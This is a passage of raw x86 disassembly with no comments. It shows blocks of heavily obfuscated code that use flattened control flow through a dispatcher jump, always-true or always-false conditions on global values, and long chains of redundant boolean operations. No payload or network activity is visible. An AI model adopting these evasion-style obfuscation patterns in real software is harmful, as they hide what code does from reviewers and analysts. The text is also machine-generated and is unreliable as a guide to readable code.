and ch, dl
or dh, ah
or bl, ch
xor dh, bl
or al, cl
xor al, 0xff
or dl, 0
and al, dl
or dh, al
test dh, 1
mov esi, dword [ebp - 0x9a0]
mov edi, dword [ebp - 0x9ac]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, 0xb05f091d
mov ecx, 0x7b59088
mov dl, 1
xor esi, esi
xor edi, edi
mov bx, di
mov edi, dword [ebp - 0x80]
mov di, word [edi]
mov byte [ebp - 0xa95], dl
mov dx, bx
sub dx, 0
mov word [ebp - 0xa98], dx
mov dx, bx
sub dx, 0x76aa
mov word [ebp - 0xa9a], dx
mov dx, word [ebp - 0xa98]
mov dword [ebp - 0xaa0], esi
mov si, word [ebp - 0xa9a]
add dx, si
mov si, bx
sub si, dx
sub si, 0x1899
sub si, di
add si, 0x1899
sub si, 0xd2ab
sub si, 0x76aa
add si, 0xd2ab
mov dx, bx
sub dx, 0x4540
mov di, bx
sub di, dx
add di, 0xd87e
sub di, 1
sub di, 0xd87e
add di, 0x107f
sub di, 0x4540
sub di, 0x107f
mov dx, bx
sub dx, 0x45d5
add si, dx
mov dx, bx
sub dx, di
sub si, dx
mov dx, bx
sub dx, si
mov si, bx
sub si, 0x45d5
add dx, si
mov si, bx
sub si, dx
mov dx, bx
sub dx, 0x86f9
sub dx, si
add dx, 0x86f9
mov si, bx
sub si, 0
mov di, bx
sub di, dx
add si, di
sub bx, si
mov esi, dword [ebp - 0x80]
mov word [esi], bx
mov esi, dword [0x4ac09c]
mov edi, dword [0x4ac084]
mov edx, dword [ebp - 0xaa0]
sub edx, 0xc295dfe4
sub edx, 0x9958ecd3
add edx, 0xc295dfe4
sub edx, 0x689fc782
sub edx, 1
add edx, 0x689fc782
sub edx, 0x48cbcc82
add edx, 0x9958ecd3
add edx, 0x48cbcc82
mov ebx, dword [ebp - 0xaa0]
sub ebx, 0xb5a1cf54
sub ebx, edx
add ebx, 0xb5a1cf54
mov edx, dword [ebp - 0xaa0]
sub edx, ebx
mov ebx, esi
add ebx, edx
imul esi, ebx
and esi, 1
cmp esi, 0
sete dl
cmp edi, 0xa
setl dh
mov bl, dh
xor bl, 0xff
and bl, 1
mov bh, byte [ebp - 0xa95]
xor bh, 1
mov dword [ebp - 0xaa4], eax
mov al, dh
and al, bh
or bl, al
mov al, dl
xor al, 0xff
mov bh, bl
and bh, al
xor bl, 0xff
mov al, dl
and al, bl
or bh, al
mov al, dl
xor al, 0xff
mov bl, bh
xor bl, al
and bl, bh
mov al, dl
xor al, 0xff
and al, 1
mov bh, byte [ebp - 0xa95]
xor bh, 1
mov ah, dl
and ah, bh
mov byte [ebp - 0xaa5], al
mov al, byte [ebp - 0xa95]
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0xaa6], al
mov al, byte [ebp - 0xaa5]
or al, ah
mov ah, byte [ebp - 0xaa6]
or ah, bh
xor al, ah
xor al, 0xff
xor al, 0
and al, 0
mov ah, byte [ebp - 0xa95]
xor ah, 0
and ah, 1
mov bh, byte [ebp - 0xa95]
xor bh, 1
and bh, 0
or ah, bh
mov bh, ah
xor bh, 0xff
mov byte [ebp - 0xaa7], al
mov al, dl
xor al, bh
and al, dl
mov dl, dh
xor dl, 0xff
and dl, 0
mov bh, byte [ebp - 0xa95]
xor bh, 0
mov byte [ebp - 0xaa8], al
mov al, dh
and al, bh
mov byte [ebp - 0xaa9], al
mov al, byte [ebp - 0xa95]
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0xaaa], al
mov al, byte [ebp - 0xaa9]
or dl, al
mov al, byte [ebp - 0xaaa]
or al, bh
xor dl, al
mov al, byte [ebp - 0xa95]
xor al, 0
mov bh, dl
xor bh, al
and bh, dl
xor dh, 0xff
xor ah, 0xff
mov al, byte [ebp - 0xa95]
xor al, 1
or dh, ah
or al, 1
xor dh, 0xff
and dh, al
mov al, byte [ebp - 0xaa7]
xor al, 0xff
mov dl, byte [ebp - 0xaa8]
xor dl, 0xff
mov ah, byte [ebp - 0xa95]
xor ah, 0
mov byte [ebp - 0xaab], al
and al, 0
mov byte [ebp - 0xaac], al
mov al, byte [ebp - 0xaa7]
and al, ah
mov byte [ebp - 0xaad], al
mov al, dl
and al, 0
mov byte [ebp - 0xaae], al
mov al, byte [ebp - 0xaa8]
and al, ah
mov byte [ebp - 0xaaf], al
mov al, byte [ebp - 0xaac]
mov dword [ebp - 0xab4], ecx
mov cl, byte [ebp - 0xaad]
or al, cl
mov cl, byte [ebp - 0xaae]
mov ch, byte [ebp - 0xaaf]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0xaab]
or cl, dl
xor cl, 0xff
or ah, 0
and cl, ah
or al, cl
mov cl, bh
xor cl, 0xff
mov dl, dh
xor dl, 0xff
mov ah, byte [ebp - 0xa95]
xor ah, 0
mov ch, cl
and ch, 0
and bh, ah
mov byte [ebp - 0xab5], al
mov al, dl
and al, 0
and dh, ah
or ch, bh
or al, dh
xor ch, al
or cl, dl
xor cl, 0xff
or ah, 0
and cl, ah
or ch, cl
mov al, byte [ebp - 0xab5]
xor al, 0xff
mov cl, ch
and cl, al
xor ch, 0xff
mov al, byte [ebp - 0xab5]
and al, ch
or cl, al
mov al, bl
xor al, 0xff
and al, 1
mov dl, byte [ebp - 0xa95]
xor dl, 1
mov ah, bl
and ah, dl
mov ch, byte [ebp - 0xa95]
xor ch, 1
and ch, 0xff
and dl, 1
or al, ah
or ch, dl
xor al, ch
mov dl, cl
xor dl, 0xff
and dl, 1
mov ah, byte [ebp - 0xa95]
xor ah, 1
mov ch, cl
and ch, ah
or dl, ch
mov ah, byte [ebp - 0xa95]
xor ah, 1
and ah, 1
mov ch, byte [ebp - 0xa95]
xor ch, 1
mov dh, ch
and dh, 1
mov bh, byte [ebp - 0xa95]
xor bh, 1
and bh, 0xff
and ch, 1
or ah, dh
or bh, ch
xor ah, bh
mov ch, al
xor ch, 0xff
mov dh, byte [ebp - 0xa95]
xor dh, 1
mov bh, byte [ebp - 0xa95]
xor bh, 0
or ch, dh
or bh, 0
xor ch, 0xff
and ch, bh
xor bl, 0xff
mov dh, ah
xor dh, 0xff
mov bh, byte [ebp - 0xa95]
xor bh, 1
or bl, dh
or bh, 1
xor bl, 0xff
and bl, bh
mov dh, byte [ebp - 0xa95]
xor dh, 1
mov bh, dl
xor bh, dh
and bh, dl
mov dh, ah
xor dh, 0xff
mov byte [ebp - 0xab6], al
mov al, cl
xor al, dh
and al, cl
mov cl, ch
and cl, bl
xor ch, bl
or cl, ch
mov ch, bh
xor ch, 0xff
mov dh, al
xor dh, 0xff
mov bl, byte [ebp - 0xa95]
xor bl, 0
mov byte [ebp - 0xab7], al
mov al, ch
and al, 0
and bh, bl
mov byte [ebp - 0xab8], al
mov al, dh
and al, 0
mov byte [ebp - 0xab9], al
mov al, byte [ebp - 0xab7]
and al, bl
mov byte [ebp - 0xaba], al
mov al, byte [ebp - 0xab8]
or al, bh
mov bh, byte [ebp - 0xab9]
mov byte [ebp - 0xabb], al
mov al, byte [ebp - 0xaba]
or bh, al
mov al, byte [ebp - 0xabb]
xor al, bh
or ch, dh
xor ch, 0xff
or bl, 0
and ch, bl
or al, ch
mov ch, cl
xor ch, 0xff
mov dh, al
and dh, ch
xor al, 0xff
and cl, al
or dh, cl
mov al, byte [ebp - 0xab6]
xor al, 0xff
mov cl, dl
xor cl, 0xff
mov ch, byte [ebp - 0xa95]
xor ch, 0
mov bl, al
and bl, 0
mov bh, byte [ebp - 0xab6]
and bh, ch
mov byte [ebp - 0xabc], al
mov al, cl
and al, 0
and dl, ch
or bl, bh
or al, dl
xor bl, al
mov al, byte [ebp - 0xabc]
or al, cl
xor al, 0xff
or ch, 0
and al, ch
or bl, al
mov al, bl
xor al, 0xff
and al, 1
mov cl, byte [ebp - 0xa95]
xor cl, 1
and bl, cl
or al, bl
mov cl, ah
and cl, 1
xor ah, 1
or cl, ah
xor al, 0xff
xor cl, 0xff
mov dl, byte [ebp - 0xa95]
xor dl, 0
or al, cl
or dl, 0
xor al, 0xff
and al, dl
mov cl, dh
and cl, al
xor dh, al
or cl, dh
test cl, 1
mov esi, dword [ebp - 0xaa4]
mov edi, dword [ebp - 0xab4]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, 0xbe35d958
mov ecx, 0x28c799fd
mov dl, 1
xor esi, esi
mov edi, dword [ebp - 0x90]
mov edi, dword [edi]
cmp dword [edi + 0x6c], 0
setne dh
and dh, 1
mov byte [ebp - 0x23], dh
mov edi, dword [0x4ac09c]
mov ebx, dword [0x4ac084]
mov dword [ebp - 0xae0], eax
mov eax, esi
sub eax, 1
add eax, 0
mov dword [ebp - 0xae4], eax
mov eax, esi
sub eax, 0xdbdbf9b1
mov dword [ebp - 0xae8], ecx
mov ecx, dword [ebp - 0xae4]
add eax, ecx
add eax, 0xdbdbf9b1
mov ecx, esi
sub ecx, edi
mov dword [ebp - 0xaec], eax
mov eax, esi
sub eax, 0x12312d16
add ecx, eax
mov eax, esi
sub eax, ecx
mov ecx, dword [ebp - 0xaec]
sub esi, ecx
sub eax, esi
add eax, 0x30bf21f9
sub eax, 0x12312d16
sub eax, 0x30bf21f9
imul edi, eax
and edi, 1
cmp edi, 0
sete dh
cmp ebx, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
or ah, ch
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bl, al
and bl, ch
or cl, bl
mov ch, dl
xor ch, 0
and ch, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 0
mov byte [ebp - 0xaed], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or ch, bh
or al, bl
xor ch, al
mov al, ah
xor al, 0xff
mov bl, cl
xor bl, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0xaee], al
and al, 0xff
and ah, bh
mov byte [ebp - 0xaef], al
mov al, bl
and al, 0xff
and cl, bh
mov byte [ebp - 0xaf0], al
mov al, byte [ebp - 0xaef]
or al, ah
mov ah, byte [ebp - 0xaf0]
or ah, cl
xor al, ah
mov cl, byte [ebp - 0xaee]
or cl, bl
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, ch
and cl, 0
xor ch, 0
or cl, ch
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
and al, ch
mov bl, dl
xor bl, 1
and bl, 0xff
and ch, 1
or ah, al
or bl, ch
xor ah, bl
xor ah, 0xff
xor cl, 0xff
mov al, dl
xor al, 0
or ah, cl
or al, 0
xor ah, 0xff
and ah, al
mov al, dh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
mov bl, dl
xor bl, 1
and bl, 0xff
and cl, 1
or al, ch
or bl, cl
xor al, bl
mov cl, dl
xor cl, 0
xor al, 0xff
mov ch, dl
xor ch, 1
or cl, al
or ch, 1
xor cl, 0xff
and cl, ch
mov al, dl
xor al, 0
and al, 1
mov ch, dl
xor ch, 1
mov bl, ch
and bl, 0
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or al, bl
or bh, ch
xor al, bh
mov ch, al
xor ch, 0xff
mov bl, dh
xor bl, ch
and bl, dh
mov ch, byte [ebp - 0xaed]
xor ch, 0xff
and ch, 0
mov dh, dl
xor dh, 0
mov bh, byte [ebp - 0xaed]
and bh, dh
mov byte [ebp - 0xaf1], al
mov al, dl
xor al, 1
and al, 0
and dh, 1
or ch, bh
or al, dh
xor ch, al
xor ch, 0xff
mov al, dl
xor al, 0
mov dh, dl
xor dh, 0
or ch, al
or dh, 0
xor ch, 0xff
and ch, dh
mov al, byte [ebp - 0xaed]
xor al, 0xff
mov dh, byte [ebp - 0xaf1]
xor dh, 0xff
mov bh, dl
xor bh, 0
or al, dh
or bh, 0
xor al, 0xff
and al, bh
mov dh, cl
xor dh, 0xff
mov bh, bl
xor bh, 0xff
mov byte [ebp - 0xaf2], al
mov al, dl
xor al, 1
mov byte [ebp - 0xaf3], al
mov al, dh
and al, 0xff
mov byte [ebp - 0xaf4], al
mov al, byte [ebp - 0xaf3]
and cl, al
mov al, bh
and al, 0xff
mov byte [ebp - 0xaf5], al
mov al, byte [ebp - 0xaf3]
and bl, al
mov al, byte [ebp - 0xaf4]
or al, cl
mov cl, byte [ebp - 0xaf5]
or cl, bl
xor al, cl
or dh, bh
xor dh, 0xff
mov cl, byte [ebp - 0xaf3]
or cl, 1
and dh, cl
or al, dh
mov cl, ch
mov dh, byte [ebp - 0xaf2]
and cl, dh
xor ch, dh
or cl, ch
mov ch, al
xor ch, 0xff
and ch, 0
mov bl, dl
xor bl, 0
and al, bl
mov bh, cl
xor bh, 0xff
and bh, 0
and cl, bl
or ch, al
or bh, cl
xor ch, bh
mov al, ah
xor al, 0xff
mov cl, ch
xor cl, 0xff
mov bl, dl
xor bl, 0
or al, cl
or bl, 0
xor al, 0xff
and al, bl
mov cl, ah
xor cl, 0xff
and cl, 1
xor dl, 1
and ah, dl
mov bl, ch
xor bl, 0xff
and bl, 0xff
and ch, dl
or cl, ah
or bl, ch
xor cl, bl
mov dl, al
and dl, cl
xor al, cl
or dl, al
test dl, 1
mov esi, dword [ebp - 0xae0]
mov edi, dword [ebp - 0xae8]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, 0xd6cf50d5
mov ecx, 0x451bb023
mov dl, 1
xor esi, esi
mov edi, 0xb38015ca
mov ebx, dword [ebp - 0x7c]
mov ebx, dword [ebx]
cmp dword [ebx + 0xc], 0
setne dh
and dh, 1
mov byte [ebp - 0x22], dh
mov ebx, dword [0x4ac09c]
mov dword [ebp - 0xc20], eax
mov eax, dword [0x4ac084]
mov dword [ebp - 0xc24], eax
mov eax, esi
sub eax, 0x4f83f2d7
sub eax, 1
add eax, 0x4f83f2d7
add edi, 0
add edi, eax
sub edi, 0xb38015ca
sub esi, 0xdc49b47
mov eax, ebx
add eax, esi
sub eax, 0x9cd3015b
add eax, edi
add eax, 0x9cd3015b
sub eax, 0x38bb8fab
add eax, 0xdc49b47
add eax, 0x38bb8fab
imul ebx, eax
and ebx, 1
cmp ebx, 0
sete dh
mov eax, dword [ebp - 0xc24]
cmp eax, 0xa
setl al
mov ah, al
xor ah, 0xff
and ah, 1
mov bl, dl
xor bl, 1
mov bh, al
and bh, bl
or ah, bh
mov bl, dh
xor bl, 0xff
mov bh, ah
and bh, bl
xor ah, 0xff
mov bl, dh
and bl, ah
or bh, bl
xor bh, 0xff
mov ah, dh
xor ah, 0xff
mov bl, dl
xor bl, 0
or bh, ah
or bl, 0
xor bh, 0xff
and bh, bl
mov ah, dh
xor ah, 0xff
and ah, 1
mov bl, dl
xor bl, 1
mov byte [ebp - 0xc25], al
mov al, dh
and al, bl
mov byte [ebp - 0xc26], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
mov byte [ebp - 0xc27], al
mov al, byte [ebp - 0xc26]
or ah, al
mov al, byte [ebp - 0xc27]
or al, bl
xor ah, al
mov al, dl
xor al, 1
xor ah, 0xff
mov bl, dl
xor bl, 0
or al, ah
or bl, 0
xor al, 0xff
and al, bl
mov ah, dl
xor ah, 1
and ah, 0
mov bl, dl
xor bl, 0
mov byte [ebp - 0xc28], al
mov al, bl
and al, 1
mov byte [ebp - 0xc29], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
mov byte [ebp - 0xc2a], al
mov al, byte [ebp - 0xc29]
or ah, al
mov al, byte [ebp - 0xc2a]
or al, bl
xor ah, al
xor dh, 0xff
mov al, ah
xor al, 0xff
mov bl, dl
xor bl, 0
or dh, al
or bl, 0
xor dh, 0xff
and dh, bl
mov al, byte [ebp - 0xc25]
xor al, 0xff
and al, 1
mov bl, dl
xor bl, 1
mov byte [ebp - 0xc2b], al
mov al, byte [ebp - 0xc25]
and al, bl
mov bl, byte [ebp - 0xc2b]
or bl, al
mov al, dl
xor al, 1
mov byte [ebp - 0xc2c], al
mov al, bl
mov dword [ebp - 0xc30], ecx
mov cl, byte [ebp - 0xc2c]
xor al, cl
and al, bl
xor ah, 0xff
mov cl, byte [ebp - 0xc25]
xor cl, ah
mov ah, byte [ebp - 0xc25]
and cl, ah
mov bl, byte [ebp - 0xc28]
xor bl, 0xff
mov ch, dh
xor ch, 0xff
mov ah, dl
xor ah, 1
mov byte [ebp - 0xc31], al
mov al, bl
and al, 0xff
mov byte [ebp - 0xc32], al
mov al, byte [ebp - 0xc28]
and al, ah
mov byte [ebp - 0xc33], al
mov al, ch
and al, 0xff
and dh, ah
mov byte [ebp - 0xc34], al
mov al, byte [ebp - 0xc32]
mov byte [ebp - 0xc35], cl
mov cl, byte [ebp - 0xc33]
or al, cl
mov cl, byte [ebp - 0xc34]
or cl, dh
xor al, cl
or bl, ch
xor bl, 0xff
or ah, 1
and bl, ah
or al, bl
mov cl, byte [ebp - 0xc31]
mov ah, byte [ebp - 0xc35]
and cl, ah
mov ch, byte [ebp - 0xc31]
xor ch, ah
or cl, ch
mov ch, al
xor ch, 0xff
mov dh, cl
and dh, ch
xor cl, 0xff
and al, cl
or dh, al
mov al, bh
xor al, 0xff
mov cl, dh
xor cl, 0xff
xor dl, 1
or al, cl
or dl, 1
xor al, 0xff
and al, dl
mov cl, bh
xor cl, 0xff
mov dl, dh
and dl, cl
xor dh, 0xff
and bh, dh
or dl, bh
mov cl, al
and cl, dl
xor al, dl
or cl, al
test cl, 1
mov esi, dword [ebp - 0xc20]
mov edi, dword [ebp - 0xc30]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, 0xf24fb8a4
mov ecx, 0xe4b206a0
mov dl, 1
xor esi, esi
mov edi, 0xf7cda8de
mov ebx, dword [0x4ac09c]
mov dword [ebp - 0xc3c], eax
mov eax, dword [0x4ac084]
add edi, 0
add edi, 0xac5bca38
sub edi, 0xf7cda8de
add edi, 0x925f4951
sub edi, 1
sub edi, 0x925f4951
add edi, 0x4a1cca7e
sub edi, 0xac5bca38
sub edi, 0x4a1cca7e
mov dword [ebp - 0xc40], eax
mov eax, esi
sub eax, 0xf0408d14
mov dword [ebp - 0xc44], eax
mov eax, ebx
mov dword [ebp - 0xc48], ecx
mov ecx, dword [ebp - 0xc44]
add eax, ecx
add eax, 0x80f2ae26
add eax, edi
sub eax, 0x80f2ae26
mov ecx, esi
sub ecx, eax
mov eax, esi
sub eax, 0xf0408d14
add ecx, eax
sub esi, ecx
imul ebx, esi
and ebx, 1
cmp ebx, 0
sete dh
mov eax, dword [ebp - 0xc40]
cmp eax, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
mov bl, dl
xor bl, 1
and bl, 0xff
and cl, 1
or ah, ch
or bl, cl
xor ah, bl
xor ah, 0xff
xor ah, 0
and ah, 0
mov cl, dl
xor cl, 0
and cl, 0
mov ch, dl
xor ch, 0
mov bl, ch
and bl, 0
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
mov ch, dh
xor ch, 0xff
mov bl, cl
xor bl, 0xff
mov bh, dl
xor bh, 0
or ch, bl
or bh, 0
xor ch, 0xff
and ch, bh
mov bl, dl
xor bl, 1
and bl, 1
mov bh, dl
xor bh, 1
and bh, 1
or bl, bh
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0xc49], al
mov al, dl
xor al, 1
or bl, bh
or al, 1
xor bl, 0xff
and bl, al
mov al, dl
xor al, 1
xor cl, 0xff
mov bh, dl
xor bh, 0
or al, cl
or bh, 0
xor al, 0xff
and al, bh
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ah, bl
and ah, al
xor bl, al
or ah, bl
mov al, cl
xor al, 0xff
mov ch, ah
and ch, al
xor ah, 0xff
and cl, ah
or ch, cl
mov al, byte [ebp - 0xc49]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, byte [ebp - 0xc49]
and ah, cl
or al, ah
mov cl, dl
xor cl, 0
xor al, 0xff
mov ah, dl
xor ah, 1
or cl, al
or ah, 1
xor cl, 0xff
and cl, ah
mov al, dl
xor al, 0
and al, 1
mov ah, dl
xor ah, 1
and ah, 0
or al, ah
mov ah, al
xor ah, 0xff
mov bl, byte [ebp - 0xc49]
xor bl, ah
mov ah, byte [ebp - 0xc49]
and bl, ah
mov bh, dl
xor bh, 1
and bh, 0
mov ah, dl
xor ah, 0
mov byte [ebp - 0xc4a], al
mov al, ah
and al, 1
mov byte [ebp - 0xc4b], al
mov al, dl
xor al, 1
and al, 0
and ah, 1
mov byte [ebp - 0xc4c], al
mov al, byte [ebp - 0xc4b]
or bh, al
mov al, byte [ebp - 0xc4c]
or al, ah
xor bh, al
mov al, dl
xor al, 0
mov ah, bh
xor ah, al
and ah, bh
mov al, dl
xor al, 1
mov bh, byte [ebp - 0xc4a]
xor bh, 0xff
mov byte [ebp - 0xc4d], al
mov al, dl
xor al, 1
mov byte [ebp - 0xc4e], al
mov al, byte [ebp - 0xc4d]
or al, bh
mov bh, byte [ebp - 0xc4e]
or bh, 1
xor al, 0xff
and al, bh
mov bh, cl
and bh, bl
xor cl, bl
or bh, cl
mov cl, ah
xor cl, 0xff
mov bl, al
xor bl, 0xff
mov byte [ebp - 0xc4f], al
mov al, dl
xor al, 0
mov byte [ebp - 0xc50], al
mov al, cl
and al, 0
mov byte [ebp - 0xc51], al
mov al, byte [ebp - 0xc50]
and ah, al
mov al, bl
and al, 0
mov byte [ebp - 0xc52], al
mov al, byte [ebp - 0xc4f]
mov byte [ebp - 0xc53], cl
mov cl, byte [ebp - 0xc50]
and al, cl
mov cl, byte [ebp - 0xc51]
or cl, ah
mov ah, byte [ebp - 0xc52]
or ah, al
xor cl, ah
mov al, byte [ebp - 0xc53]
or al, bl
xor al, 0xff
mov ah, byte [ebp - 0xc50]
or ah, 0
and al, ah
or cl, al
mov al, bh
xor al, 0xff
mov ah, cl
and ah, al
xor cl, 0xff
and bh, cl
or ah, bh
mov al, dl
xor al, 1
and al, 1
mov cl, dl
xor cl, 1
and cl, 1
or al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov cl, dl
xor cl, 1
and cl, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0xc54], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or cl, bh
or al, bl
xor cl, al
mov al, dl
xor al, 1
xor cl, 0xff
mov bl, dl
xor bl, 1
or al, cl
or bl, 1
xor al, 0xff
and al, bl
mov cl, byte [ebp - 0xc54]
xor cl, 0xff
mov bl, al
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0xc55], al
mov al, cl
and al, 0
mov byte [ebp - 0xc56], al
mov al, byte [ebp - 0xc54]
and al, bh
mov byte [ebp - 0xc57], al
mov al, bl
and al, 0
mov byte [ebp - 0xc58], al
mov al, byte [ebp - 0xc55]
and al, bh
mov byte [ebp - 0xc59], al
mov al, byte [ebp - 0xc56]
mov byte [ebp - 0xc5a], cl
mov cl, byte [ebp - 0xc57]
or al, cl
mov cl, byte [ebp - 0xc58]
mov byte [ebp - 0xc5b], al
mov al, byte [ebp - 0xc59]
or cl, al
mov al, byte [ebp - 0xc5b]
xor al, cl
mov cl, byte [ebp - 0xc5a]
or cl, bl
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, dl
xor cl, 1
and cl, 1
mov bl, dl
xor bl, 1
and bl, 1
or cl, bl
mov bl, ch
xor bl, 0xff
and bl, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0xc5c], al
mov al, ch
and al, bh
mov byte [ebp - 0xc5d], al
mov al, cl
xor al, 0xff
and al, 0xff
and cl, bh
mov bh, byte [ebp - 0xc5d]
or bl, bh
or al, cl
xor bl, al
mov al, ch
xor al, 0xff
mov cl, bl
xor cl, al
and cl, bl
mov al, byte [ebp - 0xc5c]
xor al, 0xff
and al, 1
mov bl, dl
xor bl, 1
mov bh, byte [ebp - 0xc5c]
and bh, bl
mov byte [ebp - 0xc5e], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
mov byte [ebp - 0xc5f], al
mov al, byte [ebp - 0xc5e]
or al, bh
mov bh, byte [ebp - 0xc5f]
or bh, bl
xor al, bh
mov bl, dh
xor bl, 0xff
mov bh, al
and bh, bl
xor al, 0xff
mov bl, dh
and bl, al
or bh, bl
xor dh, 0xff
mov al, bh
xor al, dh
and al, bh
mov dh, ah
xor dh, 0xff
and dh, 1
mov bl, dl
xor bl, 1
mov bh, ah
and bh, bl
or dh, bh
mov bl, dl
xor bl, 1
and bl, 1
mov bh, dl
xor bh, 1
and bh, 1
or bl, bh
mov bh, dl
xor bh, 1
and bh, 1
mov byte [ebp - 0xc60], al
mov al, dl
xor al, 1
and al, 1
or bh, al
mov al, dh
xor al, 0xff
mov byte [ebp - 0xc61], al
mov al, bl
xor al, 0xff
mov byte [ebp - 0xc62], al
mov al, dl
xor al, 1
mov byte [ebp - 0xc63], al
mov al, byte [ebp - 0xc61]
and al, 0xff
mov byte [ebp - 0xc64], al
mov al, byte [ebp - 0xc63]
and dh, al
mov al, byte [ebp - 0xc62]
and al, 0xff
mov byte [ebp - 0xc65], al
mov al, byte [ebp - 0xc63]
and bl, al
mov al, byte [ebp - 0xc64]
or al, dh
mov dh, byte [ebp - 0xc65]
or dh, bl
xor al, dh
mov dh, byte [ebp - 0xc61]
mov bl, byte [ebp - 0xc62]
or dh, bl
xor dh, 0xff
mov bl, byte [ebp - 0xc63]
or bl, 1
and dh, bl
or al, dh
mov dh, dl
xor dh, 1
mov bl, bh
xor bl, 0xff
mov byte [ebp - 0xc66], al
mov al, dl
xor al, 1
mov byte [ebp - 0xc67], al
mov al, dh
and al, 0xff
mov byte [ebp - 0xc68], al
mov al, byte [ebp - 0xc67]
and al, 1
mov byte [ebp - 0xc69], al
mov al, bl
and al, 0xff
mov byte [ebp - 0xc6a], al
mov al, byte [ebp - 0xc67]
and bh, al
mov al, byte [ebp - 0xc68]
mov byte [ebp - 0xc6b], cl
mov cl, byte [ebp - 0xc69]
or al, cl
mov cl, byte [ebp - 0xc6a]
or cl, bh
xor al, cl
or dh, bl
xor dh, 0xff
mov cl, byte [ebp - 0xc67]
or cl, 1
and dh, cl
or al, dh
mov cl, byte [ebp - 0xc66]
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
mov bl, byte [ebp - 0xc66]
and bl, dh
mov bh, dl
xor bh, 1
and bh, 0xff
and dh, 1
or cl, bl
or bh, dh
xor cl, bh
xor al, 0xff
mov dh, cl
xor dh, al
and dh, cl
mov al, byte [ebp - 0xc49]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov bl, byte [ebp - 0xc49]
and bl, cl
or al, bl
mov cl, byte [ebp - 0xc5c]
xor cl, 0xff
and cl, 1
mov bl, dl
xor bl, 1
mov bh, byte [ebp - 0xc5c]
and bh, bl
or cl, bh
mov bl, dl
xor bl, 0
and bl, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0xc6c], al
mov al, bh
and al, 0
mov byte [ebp - 0xc6d], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0xc6e], al
mov al, byte [ebp - 0xc6d]
or bl, al
mov al, byte [ebp - 0xc6e]
or al, bh
xor bl, al
mov al, byte [ebp - 0xc6c]
and al, cl
mov bh, byte [ebp - 0xc6c]
xor bh, cl
or al, bh
mov cl, dl
xor cl, 0
mov bh, bl
xor bh, 0xff
mov byte [ebp - 0xc6f], al
mov al, dl
xor al, 1
mov byte [ebp - 0xc70], al
mov al, cl
and al, 0xff
mov byte [ebp - 0xc71], al
mov al, byte [ebp - 0xc70]
and al, 0
mov byte [ebp - 0xc72], al
mov al, bh
and al, 0xff
mov byte [ebp - 0xc73], al
mov al, byte [ebp - 0xc70]
and bl, al
mov al, byte [ebp - 0xc71]
mov byte [ebp - 0xc74], cl
mov cl, byte [ebp - 0xc72]
or al, cl
mov cl, byte [ebp - 0xc73]
or cl, bl
xor al, cl
mov cl, byte [ebp - 0xc74]
or cl, bh
xor cl, 0xff
mov bl, byte [ebp - 0xc70]
or bl, 1
and cl, bl
or al, cl
mov cl, byte [ebp - 0xc6f]
xor cl, 0xff
and cl, 1
mov bl, dl
xor bl, 1
mov bh, byte [ebp - 0xc6f]
and bh, bl
or cl, bh
xor al, 0xff
mov bl, cl
xor bl, al
and bl, cl
mov al, byte [ebp - 0xc6b]
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov bh, byte [ebp - 0xc6b]
and bh, cl
mov byte [ebp - 0xc75], al
mov al, dl
xor al, 1
and al, 0
and cl, 1
mov byte [ebp - 0xc76], al
mov al, byte [ebp - 0xc75]
or al, bh
mov bh, byte [ebp - 0xc76]
or bh, cl
xor al, bh
mov cl, byte [ebp - 0xc60]
xor cl, 0xff
and cl, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0xc77], al
mov al, byte [ebp - 0xc60]
and al, bh
or cl, al
mov al, dl
xor al, 0
and al, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0xc78], al
mov al, bh
and al, 0
mov byte [ebp - 0xc79], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0xc7a], al
mov al, byte [ebp - 0xc78]
mov byte [ebp - 0xc7b], cl
mov cl, byte [ebp - 0xc79]
or al, cl
mov cl, byte [ebp - 0xc7a]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0xc77]
xor cl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0xc7c], al
mov al, dl
xor al, 0
or cl, bh
or al, 0
